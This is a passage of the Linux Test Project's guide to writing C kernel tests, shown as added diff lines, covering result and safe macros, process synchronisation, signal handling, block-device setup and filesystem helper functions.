+The 'TST_EXP_FAIL2()' is the same as 'TST_EXP_FAIL()' except the return value is
+expected to be non-negative integer if call passes. These macros build upon the
++TEST()+ macro and associated variables.
+
+'TST_EXP_FAIL_SILENT()' and 'TST_EXP_FAIL2_SILENT()' variants are less verbose
+and do not print TPASS messages when SCALL fails as expected.
+
+[source,c]
+-------------------------------------------------------------------------------
+TEST(socket(AF_INET, SOCK_RAW, 1));
+if (TST_RET > -1) {
+	tst_res(TFAIL, "Created raw socket");
+	SAFE_CLOSE(TST_RET);
+} else if (TST_ERR != EPERM) {
+	tst_res(TFAIL | TTERRNO,
+		"Failed to create socket for wrong reason");
+} else {
+	tst_res(TPASS | TTERRNO, "Didn't create raw socket");
+}
+-------------------------------------------------------------------------------
+
+The +TEST+ macro sets +TST_RET+ to its argument's return value and +TST_ERR+ to
++errno+. The +TTERNO+ flag can be used to print the error number's symbolic
+value.
+
+No LTP library function or macro, except those in 'tst_test_macros.h', will
+write to these variables (rule 'LTP-002'). So their values will not be changed
+unexpectedly.
+
+[source,c]
+-------------------------------------------------------------------------------
+TST_EXP_POSITIVE(wait(&status));
+
+if (!TST_PASS)
+	return;
+-------------------------------------------------------------------------------
+
+If the return value of 'wait' is positive. This macro will print a pass result
+and set +TST_PASS+ appropriately. If the return value is zero or negative, then
+it will print fail.  There are many similar macros to those shown here, please
+see 'tst_test_macros.h'.
+
+[source,c]
+-------------------------------------------------------------------------------
+TST_EXP_EQ_LI(val1, val2);
+TST_EXP_EQ_UI(val1, val2);
+TST_EXP_EQ_SZ(val1, val2);
+TST_EXP_EQ_SSZ(val1, val2);
+
+/* Use as */
+TST_EXP_EQ_LI(sig_caught, SIGCHLD);
+-------------------------------------------------------------------------------
+
+Set of macros for different integer type comparsions. These macros print the
+variable names as well as values in both pass and fail scenarios.
+
+[source,c]
+-------------------------------------------------------------------------------
+const char *tst_strsig(int sig);
+-------------------------------------------------------------------------------
+
+Return the given signal number's corresponding string.
+
+[source,c]
+-------------------------------------------------------------------------------
+const char *tst_strerrno(int err);
+-------------------------------------------------------------------------------
+
+Return the given errno number's corresponding string. Using this function to
+translate 'errno' values to strings is preferred. You should not use the
+'strerror()' function in the testcases.
+
+[source,c]
+-------------------------------------------------------------------------------
+const char *tst_strstatus(int status);
+-------------------------------------------------------------------------------
+
+Returns string describing the status as returned by 'wait()'.
+
+WARNING: This function is not thread safe.
+
+[source,c]
+-------------------------------------------------------------------------------
+void tst_set_max_runtime(int max_runtime);
+-------------------------------------------------------------------------------
+
+Allows for setting max_runtime per test iteration dynamically in the test setup(),
+the timeout is specified in seconds. There are a few testcases whose runtime
+can vary arbitrarily, these can disable timeouts by setting it to
+TST_UNLIMITED_RUNTIME.
+
+[source,c]
+-------------------------------------------------------------------------------
+void tst_flush(void);
+-------------------------------------------------------------------------------
+
+Flush output streams, handling errors appropriately.
+
+This function is rarely needed when you have to flush the output streams
+before calling 'fork()' or 'clone()'. Note that the 'SAFE_FORK()' and 'SAFE_CLONE()'
+calls this function automatically. See 2.4 FILE buffers and fork() for explanation
+why is this needed.
+
+1.3 Test temporary directory
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If '.needs_tmpdir' is set to '1' in the 'struct tst_test' unique test
+temporary is created and it's set as the test working directory. Tests *MUST
+NOT* create temporary files outside that directory. The flag is not needed to
+be set when use these flags: '.all_filesystems', '.format_device', '.mntpoint',
+'.mount_device' '.needs_checkpoints', '.needs_device', '.resource_file'
+(these flags imply creating temporary directory).
+
+IMPORTANT: Close all file descriptors (that point to files in test temporary
+           directory, even the unlinked ones) either in the 'test()' function
+	   or in the test 'cleanup()' otherwise the test may break temporary
+	   directory removal on NFS (look for "NFS silly rename").
+
+1.4 Safe macros
+~~~~~~~~~~~~~~~
+
+Safe macros aim to simplify error checking in test preparation. Instead of
+calling system API functions, checking for their return value and aborting the
+test if the operation has failed, you just use corresponding safe macro.
+
+Use them whenever it's possible.
+
+Instead of writing:
+
+[source,c]
+-------------------------------------------------------------------------------
+	fd = open("/dev/null", O_RDONLY);
+	if (fd < 0)
+		tst_brk(TBROK | TERRNO, "opening /dev/null failed");
+-------------------------------------------------------------------------------
+
+You write just:
+
+[source,c]
+-------------------------------------------------------------------------------
+	fd = SAFE_OPEN("/dev/null", O_RDONLY);
+-------------------------------------------------------------------------------
+
+IMPORTANT: The SAFE_CLOSE() function also sets the passed file descriptor to -1
+           after it's successfully closed.
+
+They can also simplify reading and writing of sysfs files, you can, for
+example, do:
+
+[source,c]
+-------------------------------------------------------------------------------
+	SAFE_FILE_SCANF("/proc/sys/kernel/pid_max", "%lu", &pid_max);
+-------------------------------------------------------------------------------
+
+See 'include/tst_safe_macros.h', 'include/tst_safe_stdio.h' and
+'include/tst_safe_file_ops.h' and 'include/tst_safe_net.h' for a complete list.
+
+1.5 Test specific command line options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+[source,c]
+-------------------------------------------------------------------------------
+struct tst_option {
+        char *optstr;
+        char **arg;
+        char *help;
+};
+-------------------------------------------------------------------------------
+
+Test specific command line parameters can be passed with the 'NULL' terminated
+array of 'struct tst_option'. The 'optstr' is the command line option i.e. "o"
+or "o:" if option has a parameter. Only short options are supported. The 'arg'
+is where 'optarg' is stored upon match. If option has no parameter it's set to
+non-'NULL' value if option was present. The 'help' is a short help string.
+
+NOTE: The test parameters must not collide with common test parameters defined
+      in the library the currently used ones are +-i+, +-I+, +-C+, and +-h+.
+
+[source,c]
+-------------------------------------------------------------------------------
+int tst_parse_int(const char *str, int *val, int min, int max);
+int tst_parse_long(const char *str, long *val, long min, long max);
+int tst_parse_float(const char *str, float *val, float min, float max);
+int tst_parse_filesize(const char *str, long long *val, long long min, long long max);
+-------------------------------------------------------------------------------
+
+Helpers for parsing the strings returned in the 'struct tst_option'.
+
+Helpers return zero on success and 'errno', mostly 'EINVAL' or 'ERANGE', on
+failure.
+
+Helpers functions are no-op if 'str' is 'NULL'.
+
+The valid range for result includes both 'min' and 'max'.
+
+In particular, 'tst_parse_filesize' function accepts prefix multiplies such as
+"k/K for kilobytes, "m/M" for megabytes and "g/G" for gigabytes. For example,
+10K are converted into 10240 bytes.
+
+.Example Usage
+[source,c]
+-------------------------------------------------------------------------------
+#include <limits.h>
+#include "tst_test.h"
+
+static char *str_threads;
+static int threads = 10;
+
+static struct tst_option options[] = {
+	{"t:", &str_threads, "Number of threads (default 10)"},
+	...
+	{}
+};
+
+static void setup(void)
+{
+	if (tst_parse_int(str_threads, &threads, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of threads '%s'", str_threads);
+
+	...
+}
+
+static void test_threads(void)
+{
+	...
+
+	for (i = 0; i < threads; i++) {
+		...
+	}
+
+	...
+}
+
+static struct tst_test test = {
+	...
+	.options = options,
+	...
+};
+-------------------------------------------------------------------------------
+
+
+1.6 Runtime kernel version detection
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Testcases for newly added kernel functionality require kernel newer than a
+certain version to run. All you need to skip a test on older kernels is to
+set the '.min_kver' string in the 'struct tst_test' to a minimal required
+kernel version, e.g. '.min_kver = "2.6.30"'.
+
+For more complicated operations such as skipping a test for a certain range
+of kernel versions, following functions could be used:
+
+[source,c]
+-------------------------------------------------------------------------------
+int tst_kvercmp(int r1, int r2, int r3);
+
+struct tst_kern_exv {
+        char *dist_name;
+        char *extra_ver;
+};
+
+int tst_kvercmp2(int r1, int r2, int r3, struct tst_kern_exv *vers);
+-------------------------------------------------------------------------------
+
+These two functions are intended for runtime kernel version detection. They
+parse the output from 'uname()' and compare it to the passed values.
+
+The return value is similar to the 'strcmp()' function, i.e. zero means equal,
+negative value means that the kernel is older than than the expected value and
+positive means that it's newer.
+
+The second function 'tst_kvercmp2()' allows for specifying per-vendor table of
+kernel versions as vendors typically backport fixes to their kernels and the
+test may be relevant even if the kernel version does not suggests so. See
+'testcases/kernel/syscalls/inotify/inotify04.c' for example usage.
+
+WARNING: The shell 'tst_kvercmp' maps the result into unsigned integer - the
+         process exit value.
+
+1.7 Fork()-ing
+~~~~~~~~~~~~~~
+
+Be wary that if the test forks and there were messages printed by the
+'tst_*()' interfaces, the data may still be in libc/kernel buffers and these
+*ARE NOT* flushed automatically.
+
+This happens when 'stdout' gets redirected to a file. In this case, the
+'stdout' is not line buffered, but block buffered. Hence after a fork content
+of the buffers will be printed by the parent and each of the children.
+
+To avoid that you should use 'SAFE_FORK()', 'SAFE_CLONE()' or 'tst_clone()'.
+
+IMPORTANT: You have to set the '.forks_child' flag in the test structure
+           if your testcase forks or calls 'SAFE_CLONE()'.
+
+1.8 Doing the test in the child process
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Results reported by 'tst_res()' are propagated to the parent test process via
+block of shared memory.
+
+Calling 'tst_brk()' causes child process to exit with non-zero exit value.
+Which means that it's safe to use 'SAFE_*()' macros in the child processes as
+well.
+
+Children that outlive the 'test()' function execution are waited for in the
+test library. Unclean child exit (killed by signal, non-zero exit value, etc.)
+will cause the main test process to exit with 'tst_brk()', which especially
+means that 'TBROK' propagated from a child process will cause the whole test
+to exit with 'TBROK'.
+
+If a test needs a child that segfaults or does anything else that cause it to
+exit uncleanly all you need to do is to wait for such children from the
+'test()' function so that it's reaped before the main test exits the 'test()'
+function.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+void tst_reap_children(void);
+-------------------------------------------------------------------------------
+
+The 'tst_reap_children()' function makes the process wait for all of its
+children and exits with 'tst_brk(TBROK, ...)' if any of them returned
+a non zero exit code.
+
+When using 'SAFE_CLONE' or 'tst_clone', this may not work depending on
+the parameters passed to clone. The following call to 'SAFE_CLONE' is
+identical to 'fork()', so will work as expected.
+
+[source,c]
+--------------------------------------------------------------------------------
+const struct tst_clone_args args = {
+	.exit_signal = SIGCHLD,
+};
+
+SAFE_CLONE(&args);
+--------------------------------------------------------------------------------
+
+If 'exit_signal' is set to something else, then this will break
+'tst_reap_children'. It's not expected that all parameters to clone will
+work with the LTP library unless specific action is taken by the test code.
+
+.Using 'tst_res()' from binaries started by 'exec()'
+[source,c]
+-------------------------------------------------------------------------------
+/* test.c */
+#define _GNU_SOURCE
+#include <unistd.h>
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	char *const argv[] = {"test_exec_child", NULL};
+	char path[4096];
+
+	if (tst_get_path("test_exec_child", path, sizeof(path)))
+		tst_brk(TCONF, "Couldn't find test_exec_child in $PATH");
+
+	execve(path, argv, environ);
+
+	tst_res(TFAIL | TERRNO, "EXEC!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.child_needs_reinit = 1,
+};
+
+/* test_exec_child.c */
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+
+int main(void)
+{
+	tst_reinit();
+	tst_res(TPASS, "Child passed!");
+	return 0;
+}
+-------------------------------------------------------------------------------
+
+The 'tst_res()' function can be also used from binaries started by 'exec()',
+the parent test process has to set the '.child_needs_reinit' flag so that the
+library prepares for it and has to make sure the 'LTP_IPC_PATH' environment
+variable is passed down, then the very fist thing the program has to call in
+'main()' is 'tst_reinit()' that sets up the IPC.
+
+1.9 Fork() and Parent-child synchronization
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+As LTP tests are written for Linux, most of the tests involve fork()-ing and
+parent-child process synchronization. LTP includes a checkpoint library that
+provides wait/wake futex based functions.
+
+In order to use checkpoints the '.needs_checkpoints' flag in the 'struct
+tst_test' must be set to '1', this causes the test library to initialize
+checkpoints before the 'test()' function is called.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+TST_CHECKPOINT_WAIT(id)
+
+TST_CHECKPOINT_WAIT2(id, msec_timeout)
+
+TST_CHECKPOINT_WAKE(id)
+
+TST_CHECKPOINT_WAKE2(id, nr_wake)
+
+TST_CHECKPOINT_WAKE_AND_WAIT(id)
+-------------------------------------------------------------------------------
+
+The checkpoint interface provides pair of wake and wait functions. The 'id' is
+unsigned integer which specifies checkpoint to wake/wait for. As a matter of
+fact it's an index to an array stored in a shared memory, so it starts on
+'0' and there should be enough room for at least of hundred of them.
+
+The 'TST_CHECKPOINT_WAIT()' and 'TST_CHECKPOINT_WAIT2()' suspends process
+execution until it's woken up or until timeout is reached.
+
+The 'TST_CHECKPOINT_WAKE()' wakes one process waiting on the checkpoint.
+If no process is waiting the function retries until it success or until
+timeout is reached.
+
+If timeout has been reached process exits with appropriate error message (uses
+'tst_brk()').
+
+The 'TST_CHECKPOINT_WAKE2()' does the same as 'TST_CHECKPOINT_WAKE()' but can
+be used to wake precisely 'nr_wake' processes.
+
+The 'TST_CHECKPOINT_WAKE_AND_WAIT()' is a shorthand for doing wake and then
+immediately waiting on the same checkpoint.
+
+Child processes created via 'SAFE_FORK()' are ready to use the checkpoint
+synchronization functions, as they inherited the mapped page automatically.
+
+Child processes started via 'exec()', or any other processes not forked from
+the test process must initialize the checkpoint by calling 'tst_reinit()'.
+
+For the details of the interface, look into the 'include/tst_checkpoint.h'.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+/*
+ * Waits for process state change.
+ *
+ * The state is one of the following:
+ *
+ * R - process is running
+ * S - process is sleeping
+ * D - process sleeping uninterruptibly
+ * Z - zombie process
+ * T - process is traced
+ */
+TST_PROCESS_STATE_WAIT(pid, state, msec_timeout)
+-------------------------------------------------------------------------------
+
+The 'TST_PROCESS_STATE_WAIT()' waits until process 'pid' is in requested
+'state' or timeout is reached. The call polls +/proc/pid/stat+ to get this
+information. A timeout of 0 will wait infinitely.
+
+On timeout -1 is returned and errno set to ETIMEDOUT.
+
+It's mostly used with state 'S' which means that process is sleeping in kernel
+for example in 'pause()' or any other blocking syscall.
+
+1.10 Signals and signal handlers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to use signal handlers, keep the code short and simple. Don't
+forget that the signal handler is called asynchronously and can interrupt the
+code execution at any place.
+
+This means that problems arise when global state is changed both from the test
+code and signal handler, which will occasionally lead to:
+
+* Data corruption (data gets into inconsistent state), this may happen, for
+  example, for any operations on 'FILE' objects.
+
+* Deadlock, this happens, for example, if you call 'malloc(2)', 'free(2)',
+  etc. from both the test code and the signal handler at the same time since
+  'malloc' has global lock for it's internal data structures. (Be wary that
+  'malloc(2)' is used by the libc functions internally too.)
+
+* Any other unreproducible and unexpected behavior.
+
+Quite common mistake is to call 'exit(3)' from a signal handler. Note that this
+function is not signal-async-safe as it flushes buffers, etc. If you need to
+exit a test immediately from a signal handler use '_exit(2)' instead.
+
+TIP: See 'man 7 signal' for the list of signal-async-safe functions.
+
+If a signal handler sets a variable, its declaration must be 'volatile',
+otherwise compiler may misoptimize the code. This is because the variable may
+not be changed in the compiler code flow analysis. There is 'sig_atomic_t'
+type defined in C99 but this one *DOES NOT* imply 'volatile' (it's just a
+'typedef' to 'int'). So the correct type for a flag that is changed from a
+signal handler is either 'volatile int' or 'volatile sig_atomic_t'.
+
+If a crash (e.g. triggered by signal SIGSEGV) is expected in testing, you
+can avoid creation of core files by calling tst_no_corefile() function.
+This takes effect for process (and its children) which invoked it, unless
+they subsequently modify RLIMIT_CORE.
+
+Note that LTP library will reap any processes that test didn't reap itself,
+and report any non-zero exit code as failure.
+
+1.11 Kernel Modules
+~~~~~~~~~~~~~~~~~~~
+
+There are certain cases where the test needs a kernel part and userspace part,
+happily, LTP can build a kernel module and then insert it to the kernel on test
+start for you. See 'testcases/kernel/device-drivers/block' for details.
+
+1.12 Useful macros
+~~~~~~~~~~~~~~~~~~
+
+These macros are defined in 'include/tst_common.h'.
+
+[source,c]
+-------------------------------------------------------------------------------
+ARRAY_SIZE(arr)
+-------------------------------------------------------------------------------
+
+Returns the size of statically defined array, i.e.
+'(sizeof(arr) / sizeof(*arr))'
+
+[source,c]
+-------------------------------------------------------------------------------
+LTP_ALIGN(x, a)
+-------------------------------------------------------------------------------
+
+Aligns the x to be next multiple of a. The a must be power of 2.
+
+[source,c]
+-------------------------------------------------------------------------------
+TST_TO_STR(s)  /* stringification */
+TST_TO_STR_(s) /* macro expansion */
+-------------------------------------------------------------------------------
+
+Macros for stringification.
+
+1.13 Filesystem type detection and skiplist
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests are known to fail on certain filesystems (you cannot swap on TMPFS,
+there are unimplemented 'fcntl()' etc.).
+
+If your test needs to be skipped on certain filesystems use the
+'.skip_filesystems' field in the tst_test structure as follows:
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static struct tst_test test = {
+	...
+        .skip_filesystems = (const char *const []) {
+                "tmpfs",
+                "ramfs",
+                "nfs",
+                NULL
+        },
+};
+-------------------------------------------------------------------------------
+
+When the '.all_filesystems' flag is set the '.skip_filesystems' list is passed
+to the function that detects supported filesystems any listed filesystem is
+not included in the resulting list of supported filesystems.
+
+If test needs to adjust expectations based on filesystem type it's also
+possible to detect filesystem type at the runtime. This is preferably used
+when only subset of the test is not applicable for a given filesystem.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static void run(void)
+{
+	...
+
+	switch ((type = tst_fs_type("."))) {
+	case TST_NFS_MAGIC:
+	case TST_TMPFS_MAGIC:
+	case TST_RAMFS_MAGIC:
+		tst_brk(TCONF, "Subtest not supported on %s",
+		        tst_fs_type_name(type));
+		return;
+	break;
+	}
+
+	...
+}
+-------------------------------------------------------------------------------
+
+1.14 Thread-safety in the LTP library
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is safe to use library 'tst_res()' function in multi-threaded tests.
+
+Only the main thread must return from the 'test()' function to the test
+library and that must be done only after all threads that may call any library
+function has been terminated. That especially means that threads that may call
+'tst_brk()' must terminate before the execution of the 'test()' function
+returns to the library. This is usually done by the main thread joining all
+worker threads at the end of the 'test()' function. Note that the main thread
+will never get to the library code in a case that 'tst_brk()' was called from
+one of the threads since it will sleep at least in 'pthread_join()' on the
+thread that called the 'tst_brk()' till 'exit()' is called by 'tst_brk()'.
+
+The test-supplied cleanup function runs *concurrently* to the rest of the
+threads in a case that cleanup was entered from 'tst_brk()'. Subsequent
+threads entering 'tst_brk()' must be suspended or terminated at the start of
+the user supplied cleanup function. It may be necessary to stop or exit
+the rest of the threads before the test cleans up as well. For example threads
+that create new files should be stopped before temporary directory is be
+removed.
+
+Following code example shows thread safe cleanup function example using atomic
+increment as a guard. The library calls its cleanup after the execution returns
+from the user supplied cleanup and expects that only one thread returns from
+the user supplied cleanup to the test library.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static void cleanup(void)
+{
+	static int flag;
+
+	if (tst_atomic_inc(&flag) != 1)
+		pthread_exit(NULL);
+
+	/* if needed stop the rest of the threads here */
+
+	...
+
+	/* then do cleanup work */
+
+	...
+
+	/* only one thread returns to the library */
+}
+-------------------------------------------------------------------------------
+
+
+1.15 Testing with a block device
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests needs a block device (inotify tests, syscall 'EROFS' failures,
+etc.). LTP library contains a code to prepare a testing device.
+
+If '.needs_device' flag in the 'struct tst_test' is set the 'tst_device'
+structure is initialized with a path to a test device and default filesystem
+to be used.
+
+You can also request minimal device size in megabytes by setting
+'.dev_min_size' the device is guaranteed to have at least the requested size
+then.
+
+If '.format_device' flag is set the device is formatted with a filesystem as
+well. You can use '.dev_fs_type' to override the default filesystem type if
+needed and pass additional options to mkfs via '.dev_fs_opts' and
+'.dev_extra_opts' pointers. Note that '.format_device' implies '.needs_device'
+there is no need to set both.
+
+If '.mount_device' is set, the device is mounted at '.mntpoint' which is used
+to pass a directory name that will be created and used as mount destination.
+You can pass additional flags and data to the mount command via '.mnt_flags'
+and '.mnt_data' pointers. Note that '.mount_device' implies '.needs_device'
+and '.format_device' so there is no need to set the later two.
+
+If '.needs_rofs' is set, read-only filesystem is mounted at '.mntpoint' this
+one is supposed to be used for 'EROFS' tests.
+
+If '.all_filesystems' is set the test function is executed for all supported
+filesystems. Supported filesystems are detected based on existence of the
+'mkfs.$fs' helper and on kernel support to mount it. For each supported
+filesystem the 'tst_device.fs_type' is set to the currently tested fs type, if
+'.format_device' is set the device is formatted as well, if '.mount_device' is
+set it's mounted at '.mntpoint'. Also the test timeout is reset for each
+execution of the test function. This flag is expected to be used for filesystem
+related syscalls that are at least partly implemented in the filesystem
+specific code e.g. 'fallocate()'.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+struct tst_device {
+	const char *dev;
+	const char *fs_type;
+};
+
+extern struct tst_device *tst_device;
+
+int tst_umount(const char *path);
+-------------------------------------------------------------------------------
+
+In case that 'LTP_DEV' is passed to the test in an environment, the library
+checks that the file exists and that it's a block device, if
+'.device_min_size' is set the device size is checked as well. If 'LTP_DEV'
+wasn't set or if size requirements were not met a temporary file is created
+and attached to a free loop device.
+
+If there is no usable device and loop device couldn't be initialized the test
+exits with 'TCONF'.
+
+The 'tst_umount()' function works exactly as 'umount(2)' but retries several
+times on 'EBUSY'. This is because various desktop daemons (gvfsd-trash is known
+for that) may be stupid enough to probe all newly mounted filesystem which
+results in 'umount(2)' failing with 'EBUSY'.
+
+IMPORTANT: All testcases should use 'tst_umount()' instead of 'umount(2)' to
+           umount filesystems.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_find_free_loopdev(const char *path, size_t path_len);
+-------------------------------------------------------------------------------
+
+This function finds a free loopdev and returns the free loopdev minor (-1 for no
+free loopdev). If path is non-NULL, it will be filled with free loopdev path.
+If you want to use a customized loop device, we can call 'tst_find_free_loopdev(NULL, 0)'
+in tests to get a free minor number and then mknod.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+unsigned long tst_dev_bytes_written(const char *dev);
+-------------------------------------------------------------------------------
+
+This function reads test block device stat file ('/sys/block/<device>/stat') and
+returns the bytes written since the last invocation of this function. To avoid
+FS deferred IO metadata/cache interference, we suggest doing "syncfs" before the
+tst_dev_bytes_written first invocation. And an inline function named 'tst_dev_sync()'
+is created for that intention.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+voud tst_find_backing_dev(const char *path, char *dev);
+-------------------------------------------------------------------------------
+
+This function finds the block dev that this path belongs to, it uses stat function
+to get the major/minor number of the path. Then scan them in '/proc/self/mountinfo'
+and list 2th column value after ' - ' string as its block dev if match succeeds.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+uint64_t tst_get_device_size(const char *dev_path);
+-------------------------------------------------------------------------------
+
+This function gets size of the given block device, it checks the 'dev_path' is
+valid first, if yes, return the size in MB, otherwise return -1.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_dev_block_size(const char *path);
+-------------------------------------------------------------------------------
+
+This function returns the physical device block size for the specific `path`.
+It finds the device where `path` is located and then uses `ioctl` (BLKSSZGET)
+to get a physical device block size.
+
+1.16 Formatting a device with a filesystem
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static void setup(void)
+{
+	...
+	SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL);
+	...
+}
+-------------------------------------------------------------------------------
+
+This function takes a path to a device, filesystem type and an array of extra
+options passed to mkfs.
+
+The fs options 'fs_opts' should either be 'NULL' if there are none, or a
+'NULL' terminated array of strings such as:
++const char *const opts[] = {"-b", "1024", NULL}+.
+
+The extra options 'extra_opts' should either be 'NULL' if there are none, or a
+'NULL' terminated array of strings such as +{"102400", NULL}+; 'extra_opts'
+will be passed after device name. e.g: +mkfs -t ext4 -b 1024 /dev/sda1 102400+
+in this case.
+
+Note that perfer to store the options which can be passed before or after device
+name by 'fs_opts' array.
+
+1.17 Verifying a filesystem's free space
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests have size requirements for the filesystem's free space. If these
+requirements are not satisfied, the tests should be skipped.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_fs_has_free(const char *path, unsigned int size, unsigned int mult);
+-------------------------------------------------------------------------------
+
+The 'tst_fs_has_free()' function returns 1 if there is enough space and 0 if
+there is not.
+
+The 'path' is the pathname of any directory/file within a filesystem.
+
+The 'mult' is a multiplier, one of 'TST_BYTES', 'TST_KB', 'TST_MB' or 'TST_GB'.
+
+The required free space is calculated by 'size * mult', e.g.
+'tst_fs_has_free("/tmp/testfile", 64, TST_MB)' will return 1 if the
+filesystem, which '"/tmp/testfile"' is in, has 64MB free space at least, and 0
+if not.
+
+1.18 Files, directories and fs limits
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests need to know the maximum count of links to a regular file or
+directory, such as 'rename(2)' or 'linkat(2)' to test 'EMLINK' error.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_fs_fill_hardlinks(const char *dir);
+-------------------------------------------------------------------------------
+
+Try to get maximum count of hard links to a regular file inside the 'dir'.
+
+NOTE: This number depends on the filesystem 'dir' is on.
+
+This function uses 'link(2)' to create hard links to a single file until it
+gets 'EMLINK' or creates 65535 links. If the limit is hit, the maximum number of
+hardlinks is returned and the 'dir' is filled with hardlinks in format
+"testfile%i", where i belongs to [0, limit) interval. If no limit is hit or if
+'link(2)' failed with 'ENOSPC' or 'EDQUOT', zero is returned and previously
+created files are removed.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_fs_fill_subdirs(const char *dir);
+-------------------------------------------------------------------------------
+
+Try to get maximum number of subdirectories in directory.
+
+NOTE: This number depends on the filesystem 'dir' is on. For current kernel,
+subdir limit is not available for all filesystems (available for ext2, ext3,
+minix, sysv and more). If the test runs on some other filesystems, like ramfs,
+tmpfs, it will not even try to reach the limit and return 0.
+
+This function uses 'mkdir(2)' to create directories in 'dir' until it gets
+'EMLINK' or creates 65535 directories. If the limit is hit, the maximum number
+of subdirectories is returned and the 'dir' is filled with subdirectories in
+format "testdir%i", where i belongs to [0, limit - 2) interval (because each
+newly created dir has two links already - the '.' and the link from parent
+dir). If no limit is hit or if 'mkdir(2)' failed with 'ENOSPC' or 'EDQUOT',
+zero is returned and previously created directories are removed.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_dir_is_empty(const char *dir, int verbose);
+-------------------------------------------------------------------------------
+
+Returns non-zero if directory is empty and zero otherwise.
+
+Directory is considered empty if it contains only '.' and '..'.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+void tst_purge_dir(const char *path);
+-------------------------------------------------------------------------------
+
+Deletes the contents of given directory but keeps the directory itself. Useful
+for cleaning up the temporary directory and mount points between test cases or
+test iterations. Terminates the program with 'TBROK' on error.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_fill_fd(int fd, char pattern, size_t bs, size_t bcount);
+-------------------------------------------------------------------------------
+
+Fill a file with specified pattern using file descriptor.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_prealloc_size_fd(int fd, size_t bs, size_t bcount);
+-------------------------------------------------------------------------------
+
+Preallocate the specified amount of space using 'fallocate()'. Falls back to
+'tst_fill_fd()' if 'fallocate()' fails.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_fill_file(const char *path, char pattern, size_t bs, size_t bcount);
+-------------------------------------------------------------------------------
+
+Creates/overwrites a file with specified pattern using file path.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_prealloc_file(const char *path, size_t bs, size_t bcount);
+-------------------------------------------------------------------------------
+
+Create/overwrite a file and preallocate the specified amount of space for it.
+The allocated space will not be initialized to any particular content.
+
+1.19 Getting an unused PID number
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests require a 'PID', which is not used by the OS (does not belong to
+any process within it). For example, kill(2) should set errno to 'ESRCH' if
+it's passed such 'PID'.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+pid_t tst_get_unused_pid(void);
+-------------------------------------------------------------------------------
+
+Return a 'PID' value not used by the OS or any process within it.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_get_free_pids(void);
+-------------------------------------------------------------------------------
+
+Returns number of unused pids in the system. Note that this number may be
+different once the call returns and should be used only for rough estimates.
+
+1.20 Running executables
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+int tst_cmd(const char *const argv[],
+	        const char *stdout_path,
+	        const char *stderr_path,
+	        enum tst_cmd_flags flags);
+-------------------------------------------------------------------------------
+
+'tst_cmd()' is a wrapper for 'vfork() + execvp()' which provides a way
+to execute an external program.
+
+'argv[]' is a 'NULL' terminated array of strings starting with the program name
+which is followed by optional arguments.
+
+'TST_CMD_PASS_RETVAL' enum 'tst_cmd_flags' makes 'tst_cmd()'
+return the program exit code to the caller, otherwise 'tst_cmd()' exit the
+tests on failure. 'TST_CMD_TCONF_ON_MISSING' check for program in '$PATH' and exit
+with 'TCONF' if not found.
+
+In case that 'execvp()' has failed and the enum 'TST_CMD_PASS_RETVAL' flag was set, the
+return value is '255' if 'execvp()' failed with 'ENOENT' and '254' otherwise.
+
+'stdout_path' and 'stderr_path' determine where to redirect the program
+stdout and stderr I/O streams.
+
